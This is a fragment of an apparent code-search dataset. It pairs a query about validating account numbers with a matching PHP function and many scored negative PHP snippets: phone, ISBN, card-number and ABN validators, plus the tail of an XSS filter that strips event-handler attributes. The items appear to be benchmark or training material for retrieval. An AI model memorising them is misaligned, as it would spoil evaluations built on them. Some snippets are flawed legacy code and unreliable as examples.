'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');\n $ra = array_merge($ra1, $ra2);\n \n $found = true; // keep replacing as long as the previous round replaced something\n while ($found == true) {\n $val_before = $val;\n for ($i = 0; $i < sizeof($ra); $i++) {\n $pattern = '/';\n for ($j = 0; $j < strlen($ra[$i]); $j++) {\n if ($j > 0) {\n $pattern .= '(';\n $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';\n $pattern .= '|(&#0{0,8}([9][10][13]);?)?';\n $pattern .= ')?';\n }\n $pattern .= $ra[$i][$j];\n }\n $pattern .= '/i';\n $replacement = substr($ra[$i], 0, 2).''.substr($ra[$i], 2); // add in <> to nerf the tag\n\t\t\t\t $replacement = \"\";\n $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags\n if ($val_before == $val) {\n // no replacements were made, so exit the loop\n $found = false;\n }\n }\n }\n \n return $val;\n }", "title": "" }, { "docid": "4db8db1ca40f05707dee2e9ae45791e7", "score": "0.6031929", "text": "function lh_check_raw_html($content){\n\tglobal $post;\n\t$raw_html = (bool) get_post_meta($post->ID, \"_lh_raw_html\", true);\n\t\n\tif($raw_html){\n\t\tremove_filter('the_content', 'wpautop');\n\t\tremove_filter('the_content', 'wptexturize');\n\t\tremove_filter('the_content', 'convert_chars');\n\t\tremove_filter('the_content', 'convert_smilies');\n\t}\n\t\n\treturn $content;\n}", "title": "" }, { "docid": "e9c103de7f82e99ff192f856b13342c5", "score": "0.6029108", "text": "function safevars() {\r\n\t\tglobal $input;\r\n\t\t$input = array_walk($_POST + $_GET, array('htmlsafe', &$this));\r\n\t}", "title": "" }, { "docid": "9178efb1d6e40e6457f3f996dcd89d41", "score": "0.6018362", "text": "abstract protected function sanitize();", "title": "" }, { "docid": "259f9f83ea1826ec404828ed0ebb6d12", "score": "0.6010306", "text": "final public function producePhutilSafeHTML() {\n return $this->render();\n }", "title": "" } ]
1a58ba7ecf6d4e8f4d3a04d25061eea1
Validates the corrected Account number is the correct string length and is a numeric value
[ { "docid": "d444dfc66a0ec99b9b2a3b3417dcc47d", "score": "0.5640326", "text": "protected function Validate_COR_Account ($value, &$normalized_value)\n\t{\n\t\tif ( is_numeric($value)\t\t\t&&\n\t\t strlen($value) > 3\t\t&&\n\t\t strlen($value) < 18\t\t)\n\t\t{\n\t\t\t$normalized_value = $value;\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" } ]
[ { "docid": "6cfef95c5f1181377de3491b360e86ae", "score": "0.6030052", "text": "function checkNumber( $field ) {\r\n\tif( !is_numeric( $field ) ) {\r\n\t\tprintError(\"Please ensure you input numbers in the appropriate fields (cost, patient ID, duration, etc)\");\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}", "title": "" }, { "docid": "796337d509327d5f8de31dcc00f69640", "score": "0.5963503", "text": "public function validateNumericCode(array $element, FormStateInterface $form_state, array $form) {\n $currency = $this->getEntity();\n $numeric_code = $element['#value'];\n if ($numeric_code && !preg_match('/^\\d{3}$/i', $numeric_code)) {\n $form_state->setError($element, $this->t('The numeric code must consist of three digits.'));\n }\n elseif ($currency->isNew()) {\n $loaded_currencies = $this->storage->loadByProperties([\n 'numericCode' => $numeric_code,\n ]);\n if ($loaded_currencies) {\n $form_state->setError($element, $this->t('The numeric code is already in use.'));\n }\n }\n }", "title": "" }, { "docid": "7298eac2d9ec4f852ab29ff7fe882e4a", "score": "0.59212023", "text": "protected function validateCheckDigit()\n {\n if (!(new Modulo10)->isValid(preg_replace('/[^0-9]/', '', $this->getId()))) {\n throw new InvalidCheckDigitException(\"Invalid check digit in <{$this->getId()}>\");\n }\n }", "title": "" }, { "docid": "60f0c8a5dedc98ca2a766958e1ba2cc7", "score": "0.5901778", "text": "function validate_number($number) {\n $number = preg_replace('/\\D/', '', $number); //Strip all non numeric characters\n $length = strlen($number);\n \n // Strip the 00353, 353 or 0 from the start of the number\n if ($length == 10) // 08XXXXXXXX\n {\n $number = substr($number, 1);\n }\n elseif ($length == 12) // 3538XXXXXXXX\n {\n $number = substr($number, 3);\n }\n elseif ($length == 14) // 003538XXXXXXXX\n {\n $number = substr($number, 5);\n }\n else // Not a valid number\n {\n return FALSE;\n }\n \n if (preg_match('/8\\d{8}$/', $number)) {\n //Number must have an '8' followed by eight other digits i.e. 8XXXXXXXX\n return '00353' . $number;\n }\n else // Not a valid number\n {\n return FALSE;\n }\n}", "title": "" }, { "docid": "b93a051077cc97d7fbd96ce515cab9fa", "score": "0.5898736", "text": "abstract protected function isValidBankAccountNumber($value);", "title": "" }, { "docid": "876e8a84b8eff6e6b0e245e787c6f153", "score": "0.5891751", "text": "function ValidateReal ($thereal)\n {\n if (!$thereal)\n return \"Field cannot be empty\";\n\n $thereal = trim ($thereal); // ensure no leading spaces etc.\n\n // look for leading $ sign\n if ($thereal [0] == '$')\n $thereal = substr ($thereal, 1); // remove $\n\n // look for leading sign\n if ($thereal [0] == '+' || $thereal [0] == '-')\n $thereal = substr ($thereal, 1); // remove sign\n\n // get rid of commas (for thousands)\n $thereal = str_replace (\",\", \"\", $thereal);\n\n $items = explode (\".\", trim ($thereal)); // don't want two decimal points\n if (count ($items) > 2 || !strlen ($thereal) || !preg_match (\"|^[0-9.]+$|\", $thereal))\n return \"Field must be numeric\";\n }", "title": "" }, { "docid": "876e8a84b8eff6e6b0e245e787c6f153", "score": "0.5891751", "text": "function ValidateReal ($thereal)\n {\n if (!$thereal)\n return \"Field cannot be empty\";\n\n $thereal = trim ($thereal); // ensure no leading spaces etc.\n\n // look for leading $ sign\n if ($thereal [0] == '$')\n $thereal = substr ($thereal, 1); // remove $\n\n // look for leading sign\n if ($thereal [0] == '+' || $thereal [0] == '-')\n $thereal = substr ($thereal, 1); // remove sign\n\n // get rid of commas (for thousands)\n $thereal = str_replace (\",\", \"\", $thereal);\n\n $items = explode (\".\", trim ($thereal)); // don't want two decimal points\n if (count ($items) > 2 || !strlen ($thereal) || !preg_match (\"|^[0-9.]+$|\", $thereal))\n return \"Field must be numeric\";\n }", "title": "" }, { "docid": "debafd274fa6458acbb1a5a16952f60f", "score": "0.58779824", "text": "public function validate()\n\t{\n\t\tif(is_numeric($this->value))\n\t\t\treturn true;\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "83d06319bf048f8cfe8ba4285ee914df", "score": "0.5845423", "text": "function isContainValidDigits($ssn) {\n \n // check whether it contains the correct number of digits \n $param = strlen($ssn) == 11 ? TRUE : FALSE;\n if(!$param){\n \n return $param;\n }\n // check whether birth date is numeric \n if(!is_numeric(substr($ssn, 0,6))){\n \n return FALSE;\n }\n // check whether the identyty code is numeric \n if(!is_numeric(substr($ssn, -4,3))){\n \n return FALSE;\n }\n \n return TRUE;\n}", "title": "" }, { "docid": "80f14565a2d7c18967fc0345934c0cd2", "score": "0.5825245", "text": "function checkUKTelephone ($strTelephoneNumber) {\n $strTelephoneNumberCopy = str_replace (' ', '', $strTelephoneNumber);\n\n // Convert into a string and check that we were provided with something\n if (empty($strTelephoneNumberCopy)) {\n $intError = 1;\n $strError = 'Telephone number not provided';\n return false;\n }\n\n // Don't allow country codes to be included (assumes a leading \"+\")\n if (preg_match('/^(\\+)[\\s]*(.*)$/',$strTelephoneNumberCopy)) {\n $intError = 2;\n $strError = 'UK telephone number without the country code, please';\n return false;\n }\n\n // Remove hyphens - they are not part of a telephone number\n $strTelephoneNumberCopy = str_replace ('-', '', $strTelephoneNumberCopy);\n\n // Now check that all the characters are digits\n if (!preg_match('/^[0-9]{10,11}$/',$strTelephoneNumberCopy)) {\n $intError = 3;\n $strError = 'UK telephone numbers should contain 10 or 11 digits';\n return false;\n }\n\n // Now check that the first digit is 0\n if (!preg_match('/^0[0-9]{9,10}$/',$strTelephoneNumberCopy)) {\n $intError = 4;\n $strError = 'The telephone number should start with a 0';\n return false;\n }\n\n // Check the string against the numbers allocated for dramas\n\n // Expression for numbers allocated to dramas\n\n $tnexp[0] = '/^(0113|0114|0115|0116|0117|0118|0121|0131|0141|0151|0161)(4960)[0-9]{3}$/';\n $tnexp[1] = '/^02079460[0-9]{3}$/';\n $tnexp[2] = '/^01914980[0-9]{3}$/';\n $tnexp[3] = '/^02890180[0-9]{3}$/';\n $tnexp[4] = '/^02920180[0-9]{3}$/';\n $tnexp[5] = '/^01632960[0-9]{3}$/';\n $tnexp[6] = '/^07700900[0-9]{3}$/';\n $tnexp[7] = '/^08081570[0-9]{3}$/';\n $tnexp[8] = '/^09098790[0-9]{3}$/';\n $tnexp[9] = '/^03069990[0-9]{3}$/';\n\n foreach ($tnexp as $regexp) {\n if (preg_match($regexp,$strTelephoneNumberCopy, $matches)) {\n $intError = 5;\n $strError = 'The telephone number is either invalid or inappropriate';\n return false;\n }\n }\n\n // Finally, check that the telephone number is appropriate.\n if (!preg_match('/^(01|02|03|05|070|071|072|073|074|075|07624|077|078|079)[0-9]+$/',$strTelephoneNumberCopy)) {\n $intError = 5;\n $strError = 'The telephone number is either invalid or inappropriate';\n return false;\n }\n\n // Seems to be valid - return the stripped telephone number\n $strTelephoneNumber = $strTelephoneNumberCopy;\n $intError = 0;\n $strError = '';\n return true;\n}", "title": "" }, { "docid": "3a17904ca79e102230a55314839bf40a", "score": "0.5784073", "text": "public function checkNumber($key,$value){\n\t\t\n\t\t$value = str_replace(\" \",\"\",$value);\n\t\t$isNumber = is_numeric($value);\n\t\tif(!$isNumber){\n\t\t\t$_SESSION[\"errors\"][] = \"Error: '\".$value.\"' is not a valid number.\";\n\t\t\t$this->errors = true;\t\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "7e45879d789a8516a7062c4429a1b6cc", "score": "0.5781468", "text": "public function cleanNumber($number)\n {\n \n $number = $this->pregReplace('/\\D/', '', $number); //allow only numbers\n $number = $this->pregReplace('/(^00)/', '', $number); //remove double zero\n \n //11 or 15 character is MSISDN!? So i could put that higher :D\n if (strlen($number) < 6) {\n return false;\n }\n return $number;\n }", "title": "" }, { "docid": "849071750f820e1be73e2f852289d553", "score": "0.57588166", "text": "function validateNss($nss) {\n //$nssBo = preg_replace(\"/[^0-9]/i\", \"\", $nss); //número S.S.\n if (preg_match(\"/^[0-9]{12}$/\", $nss)) {\n $numsSenseControl = substr($nss, 0, 10);\n $numsControl = (int)substr($nss, 10, 12);\n\n if (substr($numsSenseControl, 2, 1) == 0) {\n $operan1 = substr($numsSenseControl, 0, 2);\n $operant2 = substr($numsSenseControl, 3, 10);\n $numsSenseControl = $operan1 . $operant2;\n }\n\n //El código de validación ($c), \n //debe ser el resto de la división d entre 97\n //3961204658 % 97;\n $validacion = $numsSenseControl % 97;\n\n if ($validacion < 10) {\n $validacion = \"0\" . $validacion;\n }\n \n //Muestra el resultado de la validación\n if ($validacion == $numsControl) {\n return true;\n } else {\n return true;\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "8758a62db6fb9c50d0f413d9af91cf26", "score": "0.575254", "text": "public function validate()\n {\n // valida que la comision sea un valor numerico en coma flotante\n return filter_var($this->commission, FILTER_VALIDATE_FLOAT);\n }", "title": "" }, { "docid": "d83bc12396c6bf6cf258e55107fafee1", "score": "0.5748206", "text": "public function testStringNumberWithDots()\n {\n $chars = \"8123.2139\";\n $input = new Input($chars);\n $onlyNumbersValidator = new OnlyNumbers();\n\n $input->attach($onlyNumbersValidator);\n $result = $input->isValid();\n\n $this->assertFalse($result);\n }", "title": "" }, { "docid": "580e80a6483f342b4f5cd1f0be082127", "score": "0.5734331", "text": "private function validateISBN( $isbn ) {\n \n if ( !isset($isbn) || empty($isbn) ) throw new Exception('ISBN is required');\n \n /* Remove spaces, dots, and hyphens from the ISBN */\n $isbn = str_replace(array(' ', '-', '.'), '', $isbn);\n\n /* Figure out how long the remaining string is */\n $length = strlen($isbn);\n\n /* Set the checkdigit to the last character in the string */\n $checkdigit = substr($isbn, -1);\n\n switch ($length) {\n\n case \"10\":\n\n /* Check to see if the first 9 digits are numeric */\n if (!is_numeric(substr($isbn, -10, 9))) throw new Exception(\"First 9 letters must be numeric.\");\n\n /* Check to see if the checkdigit is a number -- if it is,leave it alone. If it is not, convert it to uppercase. */\n $checkdigit = (!is_numeric($checkdigit)) ? $checkdigit : strtoupper($checkdigit);\n\n /* Check to see if the checkdigit is X -- if it is, set it to 10, if it isn't, leave it alone. */\n $checkdigit = ($checkdigit == \"X\") ? \"10\" : $checkdigit;\n\n /* Initialize $sum to 0 */\n $sum = 0;\n\n /* Cycle through, adding up the numbers */\n for ($i = 0; $i < 9; $i++) {\n $sum = $sum + ($isbn[$i] * (10 - $i));\n }\n\n /* Add the checkdigit at the end */\n $sum = $sum + $checkdigit;\n\n /* Does it divide like it is supposed to? */\n $mod = $sum % 11;\n\n if ($mod == 0) {\t// If so, the number is correct\n /* figure out the 13 digit equivalent */\n $newisbn = substr($isbn, -10, 9);\t// drop the checkdigit\n $newisbn = \"978\" . $newisbn; // Add 978 prefix\n\n /* Run through the new first 12 digits, weighting them alternately by 1 and 3, sum them up */\n $sum = $newisbn[0] + ($newisbn[1] * 3) + $newisbn[2] + ($newisbn[3] * 3) +\n $newisbn[4] + ($newisbn[5] * 3) + $newisbn[6] + ($newisbn[7] * 3) +\n $newisbn[8] + ($newisbn[9] * 3) + $newisbn[10] + ($newisbn[11] * 3);\n\n /* Get the remainder when the sum is divided by 10 */\n $mod = $sum % 10;\n\n /* Calculate the new checkdigit */\n $checkdigit = 10 - $mod;\n\n /* If $checkdigit is 10, change it to 0. Otherwise leave as-is. */\n $checkdigit = ($checkdigit == \"10\") ? \"0\" : $checkdigit;\n\n /* Append it to the first 12 digits */\n $newisbn = $newisbn . $checkdigit;\n return $newisbn;\n }\n else {\n throw new Exception('ISBN is not valid.');\n }\n break;\n\n case \"13\":\n\n /* Run through the new first 12 digits, weighting them alternately by 1 and 3, sum them up */\n $sum = $isbn[0] + ($isbn[1] * 3) + $isbn[2] + ($isbn[3] * 3) +\n $isbn[4] + ($isbn[5] * 3) + $isbn[6] + ($isbn[7] * 3) +\n $isbn[8] + ($isbn[9] * 3) + $isbn[10] + ($isbn[11] * 3);\n\n /* Get the remainder when the sum is divided by 10 */\n $mod = $sum % 10;\n\n /* Calculate the new checkdigit */\n $correct_checkdigit = 10 - $mod;\n\n /* If $checkdigit is 10, change it to 0. Otherwise leave as-is. */\n $correct_checkdigit = ($correct_checkdigit == \"10\") ? \"0\" : $correct_checkdigit;\n\n /* Compare the two checkdigits */\n if ($checkdigit == $correct_checkdigit) {\n return $isbn;\n } else {\n throw new Exception(\"ISBN is invalid.\");\n }\n break;\n default:\t// If the isbn is neither 10 nor 13 digits, display an error\n throw new Exception('ISBN length is not correct.');\n }\n}", "title": "" }, { "docid": "efa39e498a7076733ec9a3ab2c567f6b", "score": "0.57310796", "text": "function valNum($num){\r\n\tval($num);\r\n\tif( !(filter_var($num, FILTER_VALIDATE_INT)) && ((strlen($num)) < 11) ){\r\n\t\t$_SESSION['int_error'] = \" Invalid Phone Number <br>\";\r\n\t\t$msg = 'false';\r\n\t\treturn $msg;\r\n\t}\r\n}", "title": "" }, { "docid": "65a5d8cfec7a1840816155f3b6ed9c92", "score": "0.5723101", "text": "function verifyNumeric ($testString) {\n\treturn (is_numeric ($testString));\n}", "title": "" }, { "docid": "43dac699172486b6e3b4b00e32918fcf", "score": "0.5692361", "text": "function modulus_10_check($ccn)\n\t{\n\t\t$cc\t\t\t\t= str_replace(' ', '', $ccn);\n\t\t$char_array \t= str_split($cc); \n\t\t$digit_count\t= sizeof ($char_array); \n\t\t$double\t\t\t= array();\n\n\t $j \t\t\t\t= 0; \n\t\tfor ($i=($digit_count-2); $i>=0; $i-=2)\n\t\t{ \n\t\t\t$double[$j] = $char_array[$i] * 2; \n\t\t\t$j++; \n\t\t}\t \n\t\t$size_of_double \t= sizeof($double); \n\t\t$num_for_validation\t= 0; \n\n\t\tfor ($i=0;$i<$size_of_double;$i++)\n\t\t{ \n\t\t\t$double_count = str_split($double[$i]); \n\t\t\tfor ($j=0;$j<sizeof($double_count);$j++)\n\t\t\t{ \n\t\t\t\t$num_for_validation += $double_count[$j]; \n\t\t\t} \n\t\t\t$double_count = ''; \n\t\t} \n\n\t\tfor ($i=($digit_count-1); $i>=0; $i-=2)\n\t\t{ \n\t\t\t$num_for_validation += $char_array[$i]; \n\t\t} \n\n\t\tif (substr($num_for_validation, -1, 1) == '0') \n\t\t{ \n\t\t\treturn TRUE; \n\t\t}\n\t\telse \n\t\t{ \n\t\t\treturn FALSE; \n\t\t}\n\t}", "title": "" }, { "docid": "a91d2d34028e937dd858c8b03b0e56f7", "score": "0.56792545", "text": "public function validate(string $number): bool;", "title": "" }, { "docid": "8c5ba062af1d0de77eab2352723fda1b", "score": "0.5678168", "text": "public function abnValid($ABN)\n {\n $ABN = preg_replace('/\\s+/', '', $ABN);\n if( filter_var($ABN, FILTER_VALIDATE_INT) === false )\n return false;\n return (floor(log10($ABN) + 1) == 11 );\n }", "title": "" }, { "docid": "2b03cf915f617b5afa97b7f2e93bdb0d", "score": "0.567427", "text": "function ValidateInt ($theint)\n {\n $theint = trim ($theint); // ensure no leading spaces etc.\n\n // look for leading sign\n if (strlen ($theint) > 0 && ($theint [0] == '+' || $theint [0] == '-'))\n $theint = substr ($theint, 1); // remove sign\n if (!strlen ($theint) || !preg_match (\"|^[0-9]+$|\", $theint))\n return \"Field must be numeric\";\n }", "title": "" }, { "docid": "2b03cf915f617b5afa97b7f2e93bdb0d", "score": "0.567427", "text": "function ValidateInt ($theint)\n {\n $theint = trim ($theint); // ensure no leading spaces etc.\n\n // look for leading sign\n if (strlen ($theint) > 0 && ($theint [0] == '+' || $theint [0] == '-'))\n $theint = substr ($theint, 1); // remove sign\n if (!strlen ($theint) || !preg_match (\"|^[0-9]+$|\", $theint))\n return \"Field must be numeric\";\n }", "title": "" }, { "docid": "71d6074031821b965d1f2ce7092bf886", "score": "0.56583905", "text": "function numberchk($value)\r\n{\r\n $arr = str_split($value);\r\n $len = count($arr);\r\n for($i = 0; $i<$len; $i++)\r\n {\r\n if(!($arr[$i]>= 0 && $arr[$i]<= 9))\r\n {\r\n return false;\r\n }\r\n }\r\n return true;\r\n\r\n}", "title": "" }, { "docid": "d2a9688b0cd5dcce4df72d4c7181c689", "score": "0.5652823", "text": "public static function validate($value)\n {\n // Check if the $value contains only numbers. White spaces are not allowed either.\n // Check if the $value has exactly 16 digits.\n if (is_string($value) AND is_numeric($value) AND strlen($value) === 16) {\n \n // Split the $value digits and reverse the array\n $result = array_reverse(str_split($value));\n\n $result = array_map(function ($key, $value) {\n // Double the value of every second digit beginning from the right.\n if ($key & 1) {\n $value *= 2;\n\n // If the doubled digit is greater than 9, substract 9 from the doubled digit.\n return $value > 9 ? $value - 9 : $value;\n }\n\n // Just in case multiply it by one so it would cast to integer.\n return $value * 1;\n\n }, array_keys($result), $result); // array_map doesn't show as the array keys so instead pass an array with the keys and the reversed array\n\n return array_sum($result) % 10 === 0; // The remainder when the sum is divided by 10 is 0 return true, esle false\n }\n\n return false;\n }", "title": "" }, { "docid": "3d427832d6e30902bb98d69787db022d", "score": "0.56515706", "text": "function ValidateAmount($amount)\n\t{\n\t\t$amount = preg_replace('/\\,([0-9]{2})$/i','.$1',$amount);\n\t\t\n\t\t// remove all commas used to indicate groupings\n\t\t$amount = str_replace(',','',$amount);\n\t\t\n\t\tif (!is_numeric($amount)) {\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\tif ($amount < 0) {\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\treturn (float)$amount;\n\t}", "title": "" }, { "docid": "0a949a5a84f4d34caa932887ebbd7a06", "score": "0.5650153", "text": "public function isNotNumeric()\n {\n $this->failIf(is_numeric($this->data[0]));\n }", "title": "" }, { "docid": "afa4b626058ed1eb95a01a7930c9522a", "score": "0.5622457", "text": "protected function _checkBankAccountNumber($accountNumber)\n {\n if (empty($accountNumber)) {\n return 'MISSING';\n } elseif (preg_match('/^[0-9]{3,10}$/', trim($accountNumber))) {\n return 'ACCNR';\n } elseif (preg_match('/^DE\\d{20}$/', trim($accountNumber))) {\n if ($this->country != \"DE\") {\n return 'WRONG_COUNTRY';\n }\n return 'IBAN';\n } elseif (preg_match('/^AT\\d{18}$/', trim($accountNumber))) {\n if ($this->country != \"AT\") {\n return 'WRONG_COUNTRY';\n }\n return 'IBAN';\n } elseif (preg_match('/^CH\\d{19}$/', trim($accountNumber))) {\n if ($this->country != \"CH\") {\n return 'WRONG_COUNTRY';\n }\n return 'INVALID'; //return 'IBAN';\n } else {\n return 'INVALID';\n }\n }", "title": "" }, { "docid": "8c841046b9a9adc7bc925052944212fa", "score": "0.56216794", "text": "function check_numeric_field($value, $msg = 'Campo numérico') {\n \tif (!preg_match('/^\\d*$/', $value)) {\n \t\treturn $msg;\n \t}\n }", "title": "" }, { "docid": "dde464196b7eb54fbb1a593f513aec61", "score": "0.56159073", "text": "private function calculateCheckDigit() {\n $digits = str_split($this->getDigit1() . $this->getLibraryID() . $this->sn);\n $total = 0;\n\n foreach ($digits as $i => $d) {\n // Consider it as odd\n if ($i % 2 == 0) {\n $d *= 2;\n if ($d >= 10) {\n $d -= 9;\n }\n $total += $d;\n } else {\n $total += $d;\n }\n }\n\n $mod = $total % 10;\n\n $this->checkDigit = $mod == 0 ? $mod : 10 - $mod;\n }", "title": "" }, { "docid": "8ed3667c408024018475e6be38e1c0e4", "score": "0.56142133", "text": "public function getValidity($acct_num)\n\t{\n\t\tif(!ctype_digit($acct_num))\n\t\t{\n\t\t\treturn $this->NOT_ALL_NUMBERS;\n\t\t}\n\t\tif(!$this->lengthEqualsAcclen($acct_num))\n\t\t{\n\t\t\treturn $this->NOT_EXACT_LENGTH;\n\t\t}\n\t\treturn $this->SUCCESS;\n\t}", "title": "" }, { "docid": "c5f9c14aa1f9fa7b0604cb659805d7ac", "score": "0.5587778", "text": "function validate_EAN13Barcode($barcode)\n{\n if (!preg_match(\"/^[0-9]{13}$/\", $barcode)) {\n return false;\n }\n\n $digits = $barcode;\n\n // 1. Add the values of the digits in the\n // even-numbered positions: 2, 4, 6, etc.\n $even_sum = $digits[1] + $digits[3] + $digits[5] +\n $digits[7] + $digits[9] + $digits[11];\n\n // 2. Multiply this result by 3.\n $even_sum_three = $even_sum * 3;\n\n // 3. Add the values of the digits in the\n // odd-numbered positions: 1, 3, 5, etc.\n $odd_sum = $digits[0] + $digits[2] + $digits[4] +\n $digits[6] + $digits[8] + $digits[10];\n\n // 4. Sum the results of steps 2 and 3.\n $total_sum = $even_sum_three + $odd_sum;\n\n // 5. The check character is the smallest number which,\n // when added to the result in step 4, produces a multiple of 10.\n $next_ten = (ceil($total_sum / 10)) * 10;\n $check_digit = $next_ten - $total_sum;\n\n // if the check digit and the last digit of the\n // barcode are OK return true;\n if ($check_digit == $digits[12]) {\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "5aa89669dce23ae06585a4edc80cb090", "score": "0.55860645", "text": "function validateInt($supposedNumber)\n{\n return filter_var($supposedNumber, FILTER_SANITIZE_NUMBER_INT);\n}", "title": "" }, { "docid": "91f14ac822b7fceb5f8c785dcc99f61e", "score": "0.5580494", "text": "private function validNumber($number)\n {\n $number = str_replace(\" \", \"\", $number);\n $number = preg_replace('/-/', \"\", $number);\n $number = preg_replace('/\\(/', \"\", $number);\n $number = preg_replace('/\\)/', \"\", $number);\n $number = preg_replace('/_/', \"\", $number);\n //echo \"<p>$id</p>\"; for de-bugging purposes\n\n if(empty($number) || !ctype_digit($number) || strlen($number) != 10){\n $this->_errors['number'] = \"Valid contact number is required\";\n }\n\n }", "title": "" }, { "docid": "e173178f0cf215a5861553042373441b", "score": "0.55802983", "text": "public function check()\n {\n if (validate::not_empty($this->form_data) && ! validate::numeric($this->form_data))\n {\n $this->check = FALSE;\n\n return __('appformitemint.validation.digit');\n }\n }", "title": "" }, { "docid": "4739bca3b9b9ade1b9a3480716f61d23", "score": "0.55786216", "text": "function checkDigit($code = null);", "title": "" }, { "docid": "1f5c5ad410e21698bf1a5a01dcc2937f", "score": "0.5576186", "text": "public function isNumeric()\n {\n $this->failIf(!is_numeric($this->data[0]));\n }", "title": "" }, { "docid": "62579771ba060e1fa284ba3b1946f73e", "score": "0.55716044", "text": "public function phone_number_validation_fail()\n {\n // Arrange\n $vehicle = $this->vehicleSet[0];\n $vehicle['mobile_phone_number'] = '0419X40683';\n\n // Act\n $this->login()->addVehicle($vehicle);\n\n // Assert\n $this->assertThat($this->byId('vehicleModalLabel')->text(), $this->equalTo('Vehicle Editor'));\n $attribute = $this->byXPath('//form[@id=\"vehicleForm\"]/div[2]')->attribute('class');\n $this->assertThat(explode(' ', $attribute),\n $this->contains('has-error'));\n $this->assertThat($this->byXPath('//form[@id=\"vehicleForm\"]/div[2]/div/span/strong')->text(),\n $this->equalTo('That doesn\\'t look like an australian phone number, it needs to have 10 digits and start with a 0 or start with +61 and have 11 digits'));\n\n }", "title": "" }, { "docid": "76c1d3726ba03946e384ff5ad71865d0", "score": "0.5571586", "text": "protected function alpha_numeric()\n {\n if ( !preg_match(\"/(^[a-zA-Z0-9]+$)/\", $this->fieldValue) ) {\n $this->setErrors(\"$this->fieldName hanya berupa huruf dan angka\");\n }\n }", "title": "" }, { "docid": "1142db703cc1b2ecb7f1bc6c73b101f1", "score": "0.5563661", "text": "public function validate()\n {\n return \"AT+CNUM=?\\r\";\n }", "title": "" }, { "docid": "a41465c4a1330c87bd8689f812adb09e", "score": "0.552249", "text": "private function _validate($term)\r\n {\r\n if (!is_int($term) && !is_float($term) && !is_numeric($term)) {\r\n require_once 'MC/Rpn/Exception.php';\r\n throw new MC_Rpn_Exception(\"Term '{$term}' is not numeric\");\r\n }\r\n }", "title": "" }, { "docid": "4ccb0f0af435718f6c8d76ee416f7f3a", "score": "0.55017126", "text": "private function validate_card(string $number) : string\n\t\t{\n\t\t$number = \\preg_replace('/\\D/', '', (string)$number);\n\n\t\t// Set the string length and parity\n\t\t$number_length = \\strlen($number);\n\t\t$parity = $number_length % 2;\n\n\t\t// Loop through each digit and do the maths\n\t\t$total = 0;\n\n\t\tfor ($i = 0; $i < $number_length; ++$i)\n\t\t\t{\n\t\t\t$digit = (int)$number[$i];\n\t\t\t// Multiply alternate digits by two\n\t\t\tif ($i % 2 == $parity)\n\t\t\t\t{\n\t\t\t\t$digit *= 2;\n\t\t\t\t// If the sum is two digits, add them together (in effect)\n\t\t\t\tif ($digit > 9)\n\t\t\t\t\t{\n\t\t\t\t\t$digit -= 9;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t// Total up the digits\n\t\t\t$total += $digit;\n\t\t\t}\n\n\t\t// If the total mod 10 equals 0, the number is valid\n\t\treturn $this->testIt(0 == $total % 10, 'card', ['value' => $number]);\n\t\t}", "title": "" }, { "docid": "54765b2f7a360a0619bf44d2e0eac06f", "score": "0.54955107", "text": "function verifyNum ($testString) {\r\n return (preg_match('/^([[:digit:]])+$/', $testString)); \r\n}", "title": "" }, { "docid": "848fce61eccad01d1ff80addd4e8c80d", "score": "0.5494469", "text": "function validate_field_is_number($field_value, array &$field): bool\n{\n if (!is_numeric($field_value)) {\n $field['error'] = 'Input is not a number, please, enter number!';\n return false;\n } else {\n return true;\n }\n}", "title": "" }, { "docid": "c40c136ac0099e711726556c04876181", "score": "0.54733807", "text": "private function checkTotalWrongInputsNumber(): void\n {\n $sql = 'SELECT * FROM remembered_clients WHERE token_hash = :token_hash LIMIT 1';\n\n $db = static::getDB();\n $stmt = $db->prepare($sql);\n\n $stmt->bindValue(':token_hash', $this->getTokenHash(), PDO::PARAM_STR);\n\n $stmt->execute();\n\n $result = $stmt->fetch();\n\n if ($result['sms_code_total_wrong_inputs_number'] >= 10) {\n LockedPhone::lock($result['phone']);\n\n $this->errors[] = '10 или более раз введён неверный код. Ваш номер заблокирован на сутки.';\n }\n }", "title": "" }, { "docid": "0ba76f3d4da2a601451a6c64254b99c8", "score": "0.5470361", "text": "function dia_check($str)\n\t{\n\t\tif ((int)$str > 31)\n\t\t{\n\t\t\t$this->form_validation->set_message('dia_check', 'El dia debe ser inferior a 31');\n\t\t\treturn FALSE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t}", "title": "" }, { "docid": "57395302d00178c2940a8deb089072e2", "score": "0.5468197", "text": "function telefoonnummer_check($phonenumber) {\n if(is_numeric($phonenumber)) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "dc639d953c3e077b73dcdcfc79b2473b", "score": "0.5438361", "text": "protected function checkLimitHasValidChars()\n {\n if ( ! self::isPureDigit())\n {\n throw new \\UnexpectedValueException('Limit contains invalid characters.');\n }\n }", "title": "" }, { "docid": "5f4f94079ac9d527e25d9f49b94ed24a", "score": "0.5433739", "text": "public static function abn($abn)\n {\n $weights = array(10, 1, 3, 5, 7, 9, 11, 13, 15, 17, 19);\n $length = array(\"11\");\n\n $abn = preg_replace(\"/[^\\d]/\", \"\", $abn);\n $abn = str_split($abn);\n $abn[0]--;\n\n return ValidateAU::checkDigit($abn, 89, $weights, $length);\n }", "title": "" }, { "docid": "347b491ca044497a7edbe13c95d5d2e5", "score": "0.54325396", "text": "function numberIsValid($number) {\n\n\tif(preg_match('/(^[0-9]{10}$)|(^[0-9]{8}$)/',$number) == 1) {\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n\n}", "title": "" }, { "docid": "29cc29cb39b8a36a8540a753cbce4565", "score": "0.54280853", "text": "private function validateTotalAmount()\n {\n // check if empty\n $val = 